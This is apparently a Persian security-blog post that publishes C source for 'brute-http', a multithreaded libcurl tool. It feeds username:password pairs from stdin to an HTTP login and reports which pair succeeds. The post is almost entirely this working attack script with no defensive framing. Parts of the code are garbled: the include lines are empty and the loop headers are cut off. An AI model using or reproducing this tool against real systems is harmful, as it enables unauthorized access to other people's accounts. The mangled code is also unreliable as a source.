window.addEventListener("load", function(){ alert("کانال تلگرام ما : www.telegram.me/PulseLab"); }); brute-http
جسارت های در باب امنیت اطلاعات و الکترونیک .
brute-http
جمعه سی ام تیر ۱۳۹۱ ساعت 1:1 | نوشته ‌شده به دست سیروس | ( )

#include
#include
#include
#include
#include
#include

#include

int verbose = 0;
int total = 0;
volatile int quit = 0;

pthread_mutex_t mutex_pass =  PTHREAD_MUTEX_INITIALIZER;

struct args {
 char *url;
};

void print_help(FILE *fp, char *app) {
 fprintf(fp, "Usage: %s []\n", app);
 fprintf(fp, "\n");
 fprintf(fp, "     -h          Print this help and exit\n");
 fprintf(fp, "     -v          Verbose. Repeat for more info\n");
 fprintf(fp, "     -u     url to try\n");
 fprintf(fp, "     -n     number of threads to use\n");
 fprintf(fp, "\n");
 fprintf(fp, "Note: usernames / password will be read from stdin\n");
 fprintf(fp, "The format for this is username:password\n");
 fprintf(fp, "\n");
}

void dump(void *ptr, size_t size, size_t nmemb, void *stream) {

}

int try(char *url, char *username, char *password) {
 CURL *req = NULL;
 CURLcode res;
 long status = 0;
 
 req = curl_easy_init();
 if (!req) {
  printf("curl_easy_init: Failed\n");
  exit(EXIT_FAILURE);
 }

 curl_easy_setopt(req, CURLOPT_URL, url);
 curl_easy_setopt(req, CURLOPT_WRITEFUNCTION, dump);
 curl_easy_setopt(req, CURLOPT_USERNAME, username);
 curl_easy_setopt(req, CURLOPT_PASSWORD, password);

 res = curl_easy_perform(req);

 res = curl_easy_getinfo(req, CURLINFO_RESPONSE_CODE, &status);

 curl_easy_cleanup(req);

 printf("Tried: %s:%s Got %ld\n", username, password, status);

 switch (status) {
  case 0:
   printf("Request Failed For: %s:%s Code: %ld\n", username, password, status);
   return 0;
  case 200:
   return 1;
  case 302:
   return 1; /* redirect means success */
  case 401:
   return 0;
  default:
   printf("Tried: %s:%s Got %ld\n", username, password, status);
   printf("Unknown Status Code: %ld\n", status);
   exit(EXIT_SUCCESS);
   return 0;
 }
}

int getpassword(char **buf, size_t *buflen, char **username, char **password) {

 pthread_mutex_lock(&mutex_pass);

 if (getline(buf, buflen, stdin) >= 0) {
  pthread_mutex_unlock(&mutex_pass);
  char *tmp = strchr(*buf, ':');
  if (tmp == 0 || tmp[1] == 0)
   return 0;
  *username = *buf;
  *tmp = 0;
  tmp++;
  *password = tmp;
  tmp = strchr(*password, '\n');
  if (tmp != 0)
   *tmp = 0;
  return 1;
 }

 pthread_mutex_unlock(&mutex_pass);
 return 0;
}

void *run(void *p) {
 struct args *a = (struct args *) p;
 char *buf = 0;
 size_t buflen = 0;
 char *user = 0;
 char *pass = 0;

 while(quit == 0) {
  if (getpassword(&buf, &buflen, &user, &pass) == 0)
   goto free; /* we ran out of passwords */

  if (try(a->url, user, pass)) {
   printf("Success! Username: %s Password: %s\n", user, pass);
   quit = 1;
   goto free;
  }
 }

free:
 if (buf != NULL)
  free(buf);

 pthread_exit(NULL);
 return NULL;
}

int main(int argc, char **argv) {
 struct args args;
 pthread_t *thd;
 pthread_attr_t attr;
 int nthreads = 1;
 int i = 0;
 int c;

 memset(&args, 0, sizeof(args));

 while( (c = getopt(argc, argv, "hn:vu:")) != -1) {
  switch(c) {
   case 'h':
    print_help(stdout, argv[0]);
    exit(EXIT_SUCCESS);
    break;
   case 'n':
    nthreads = atoi(optarg);
    break;
   case 'u':
    args.url = optarg;
    break;
   case 'v':
    verbose++;
    break;
  }
 }

 curl_global_init(CURL_GLOBAL_ALL);
 
 if (args.url == NULL) {
  print_help(stdout, argv[0]);
  exit(EXIT_FAILURE);
 }

 thd = malloc(nthreads * sizeof(*thd));
 if (!thd) {
  perror("malloc");
  exit(EXIT_FAILURE);
 }
 
 if (pthread_attr_init(&attr) != 0) {
  perror("pthread_attr_init");
  exit(EXIT_FAILURE);
 }

 if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE) != 0) {
  perror("pthread_attr_setdetachstate");
  exit(EXIT_FAILURE);
 }

 for(i=0;i  if (pthread_create(&thd[i], NULL, run, &args) != 0) {
   perror("pthread_create");
   exit(EXIT_FAILURE);
  }
 }

 for(i=0;i  if (pthread_join(thd[i], NULL) != 0) {
   perror("pthread_join");
   exit(EXIT_FAILURE);
  }
 }

 pthread_attr_destroy(&attr);

 free(thd); 

 curl_global_cleanup();

 return EXIT_SUCCESS;
}


 

برچسب‌ها: brute, http, dic, bruteforce

 
دیگر موارد